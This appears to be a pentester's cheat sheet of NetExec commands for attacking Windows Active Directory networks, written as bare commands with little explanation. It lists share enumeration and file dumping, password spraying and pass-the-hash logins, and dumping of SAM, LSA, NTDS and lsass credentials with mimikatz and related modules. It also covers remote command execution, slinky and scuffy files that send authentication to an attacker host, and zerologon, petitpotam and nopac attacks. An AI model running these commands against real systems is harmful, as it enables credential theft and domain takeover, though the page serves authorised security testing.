A quick and dirty cheatsheet on the usage of NetExec, without lots of explications, only commands. The purpose of this page is to provide the basic commands for the essential operations during an internal pentest.
If you need more detailed documentation, please refer to the official NetExec wiki.
And obviously, if you need more complete cheatsheets with most of the attacks to perform in Active Directory environments, take a look to my other contents.
netexec smb $TARGETS
netexec smb $TARGETS -u $USERNAME -p $PASS --shares
A module for searching network shares:spider_plus. Running the module without any options (on a /24, for example) will produce a JSON output for each server, containing a list of all files (and some info), but without their contents. Then grep on extensions (conf, ini...) or names ($PASS .. ) to identify an interesting file to search:
netexec smb $TARGETS -u $USERNAME -p $PASS -M spider_plus
Then, when identifying a lot of interesting files, to speed up the search, dump this on the attacker machine by adding the -o READ_ONLY=False option after the -M spider_plus (but avoid /24, otherwise it'll take a long time). In this case, NetExec will create a folder with the machine's IP, and all the folders/files in it.
netexec smb $TARGETS -u $USERNAME -p $PASS -M spider_plus -o READ_ONLY=False
netexec $TARGETS -u $USERNAME -p $PASS --sessions
netexec smb $TARGETS -u $USERNAME -p $PASS --disks
Logged : netexec smb $TARGETS -u $USERNAME -p $PASS --loggedon-users
Domain : netexec smb $TARGETS -u $USERNAME -p $PASS --users
Via RID Cycling : netexec smb $TARGETS -u $USERNAME -p $PASS --rid-brute
Domain : netexec smb $TARGETS -u $USERNAME -p $PASS --groups
Local : netexec smb $TARGETS -u $USERNAME -p $PASS --local-groups
netexec smb $DC -u $USERNAME -p $PASS --pass-pol
netexec smb $TARGETS -u $USERNAME -p $PASS
netexec smb $TARGETS -u $USERNAME -H 'LM:NT'
netexec smb $TARGETS -u $USERNAME -H 'NTHASH'
netexec smb $TARGETS -u '' -p ''
netexec smb $TARGET -u $USERNAME user2 user3 -p Summer18
netexec smb $TARGET -u $USERNAME -p $PASS1 $PASS2 $PASS3
netexec smb $TARGET -u /path/to/users.txt -p Summer18
netexec smb $TARGET -u $USERNAME -p /path/to/$PASSs.txt
To continue spraying after success :
netexec smb $TARGET -u /path/to/users.txt -p Summer18 --continue-on-success
netexec smb $TARGETS -u $USERNAME -p $PASS --local-auth
netexec smb $TARGETS -u $USERNAME -p $PASS --sam
netexec smb $TARGETS -u $USERNAME -p $PASS --lsa
netexec smb $DC -u $USERNAME -p $PASS --ntds #Via RPC
netexec smb $DC -u $USERNAME -p $PASS --ntds vss #Via VSS
netexec smb $TARGET -u $USERNAME -p $PASS -M lsassy
netexec smb $TARGET -u $USERNAME -p $PASS -M nanodump
netexec smb $TARGET -u $USERNAME -p $PASS -M mimikatz
netexec smb $TARGET -u $USERNAME -p $PASS -M procdump
netexec ldap $DC -u $TARGET -p $PASS -M laps -o computer=$TARGET
netexec $TARGET -u Administrator -p $PASS -x whoami
netexec $TARGET -u Administrator -p $PASS -X '$PSVersionTable'
netexec smb $TARGETS -u $USERNAME -p $PASS -M slinky -o SERVER=$ATTACKER_IP -o NAME=<file_name>
netexec smb $TARGETS -u $USERNAME -p $PASS -M scuffy -o SERVER=$ATTACKER_IP -o NAME=<file_name>
netexec smb $DC -u '' -p '' -M zerologon
netexec smb $DC -u '' -p '' -M petitpotam
netexec smb $DC -u $USERNAME -p $PASS -M nopac